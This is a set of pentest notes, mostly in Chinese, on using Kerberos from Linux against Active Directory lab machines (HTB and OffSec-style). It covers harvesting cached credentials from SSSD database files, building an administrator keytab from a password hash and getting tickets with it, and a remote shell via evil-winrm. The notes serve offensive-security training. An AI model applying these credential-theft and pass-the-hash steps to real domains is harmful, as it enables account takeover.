Kerberos

linux

https://github.com/ricardojoserf/SSSD-creds

ldb file

apt install tdb-tools
wget https://github.com/ricardojoserf/SSSD-creds/raw/main/analyze.sh
./analyze.sh var/lib/sss/db
find var/ -type f -name *.ldb -exec strings {} \; | grep -i Password -A3

ksu

ksu 是 su 程序的 Kerberized 版本,获得域用户的凭据之后都可以尝试,另外 krb5.conf 中配置了 .k5login。root 目录下存在 .k5login 文件其中有用户名

ksu — MIT Kerberos Documentation

sssd 是一个开源客户端,用于将 Linux 计算机连接到 Active Directory。 sssd 数据存储在 /var/lib/sss 中。

pam_krb5.so module 负责 Kerberos 认证,在如下文件中启用

 /etc/pam.d/common-auth

pam_krb5 模块的配置指令可在/etc/krb5.conf 文件的 appdefaults 部分找到。

kvno

请求服务票据

kvno servicePrincipalName
kvno MSSQLSvc/DC01.corp1.com:1433

/etc/krb5.conf

[libdefaults]   
        default_realm = WINDCORP.HTB
        fcc-mit-ticketflags = true

[realms]
        WINDCORP.HTB = {
                kdc = HATHOR.WINDCORP.HTB
                admin_server = HATHOR.WINDCORP.HTB
        }

更换时使用 VIM,进入命令模式

%s/WINDCORP/ABSOLUTE/g

报错: ldap_sasl_interactive_bind: Local error (-2) additional info: SASL(-1): generic failure: GSSAPI Error: No credentials were supplied, or the credentials were unavailable or inaccessible (No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_0))

配置文件示例

offsec@linuxvictim:~$ grep -v '#\|^$' /etc/krb5.conf
[logging]
 default = FILE:/var/log/krb5libs.log
 kdc = FILE:/var/log/krb5kdc.log
 admin_server = FILE:/var/log/kadmind.log
default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
permitted_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
[libdefaults]
 default_realm = CORP1.COM
 dns_lookup_realm = false
 dns_lookup_kdc = false
 ticket_lifetime = 24h
 renew_lifetime = 7d
 forwardable = true
 rdns = false
[realms]
 CORP1.COM = {
  kdc = corp1.com.
}
[domain_realm]
 .corp1.com = CORP1.COM
 corp1.com = CORP1.COM
[appdefaults]
 pam = {
  minimum_uid = 3000
}

Kinit

安装 Kerberos Linux 客户端实用程序

sudo apt install krb5-user
  • kinit 命令获得或更新Kerberos 票据授权票据。
kinit beatricemill
# clear tickets
# Windows
klist purge
# Linux
kdestroy

续订票据

kinit -R

krb5.conf — MIT Kerberos Documentation

快速搭建Kerberos服务端及入门使用 - 尹正杰 - 博客园

配置Kerberos实战案例 - JasonYin2020 - 博客园

https://linux.die.net/man/1/kinit

ktutil

addent -p administrator@WINDCORP.COM -k 1 -key -e rc4-hmac
wkt administrator.keytab
exit

kinit -V -k -t administrator.keytab -f administrator@WINDCORP.HTB

Kerberos Auth Kerberos

keytab — MIT Kerberos Documentation

ktutil — MIT Kerberos Documentation

kinit — MIT Kerberos Documentation

https://linux.die.net/man/1/kinit

域名要大写

Write keytab

  • save it as a keytab file
ktutil
ktutil:  add_entry 
usage: add_entry (-key | -password) -p principal -k kvno [-e enctype] [-f|-s salt]

ktutil:  add_entry -key -p administrator@WINDCORP.HTB -k 1 -e rc4-hmac
Key for administrator@WINDCORP.HTB (hex): b3ff8d7532eef396a5347ed33933030f
ktutil:  write_kt administrator.keytab
ktutil:  exit
administrator@corp1.com@linuxvictim:~$ ktutil
ktutil:  addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM: 

ktutil:  wkt /tmp/administrator.keytab

ktutil:  quit

use keytab file

  • get a ticket
kinit -V -k -t administrator.keytab -f administrator@WINDCORP.HTB
Using default cache: /tmp/krb5cc_1000
Using principal: administrator@WINDCORP.HTB
Using keytab: administrator.keytab
Authenticated to Kerberos v5

klist                                                            
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@WINDCORP.HTB

Valid starting       Expires              Service principal
12/17/2023 03:15:37  12/17/2023 13:15:37  krbtgt/WINDCORP.HTB@WINDCORP.HTB
        renew until 12/18/2023 03:15:33
  • -k [ -i | -t keytab_file ]

    requests a ticket, obtained from a key in the local host’s keytab. The location of the keytab may be specified with the -t keytab_file option, or with the -i option to specify the use of the default client keytab;

evil-winrm -i hathor.windcorp.htb -r windcorp.htb

Kerberos 环境变量

https://linux.die.net/man/1/kerberos

KRB5CCNAME

使用 Kerberos 身份验证的 ActiveDiectory 成员会被分配一个凭据缓存文件按来包含其请求的 Kerberos 票证。

缓存文件的位置通过用户的 KRB5CCNAME 环境变量设置。

默认缓存文件为 /tmp/krb5cc_uid,其中 uid 是用户的十进制 user ID。

KRB5_KTNAME

keytab 文件的位置,格式为 TYPE:residual。如果没有类型,则假定为 FILE 类型,并且 residual 是密钥表文件的路径名。默认密钥表文件是/etc/krb5.keytab。

KRB5_CONFIG

指定 Kerberos 配置文件的位置。默认值为 /etc/krb5.conf。

KRB5_TRACE

定要将跟踪日志输出写入其中的文件名。跟踪日志可以帮助阐明 Kerberos 库内部做出的决策。默认情况下不将跟踪日志输出写入任何地方。

排查报错

KRB5_TRACE=/dev/stdout kinit -V -X X509_user_identity=FILE:admin.cer,admin.key Administrator@WINDCORP.HTB

[918084] 1710236524.097862: Preauth module pkinit (16) (real) returned: -1765328360/Failed to verify own certificate (depth 0): certificate is not yet valid

证书无效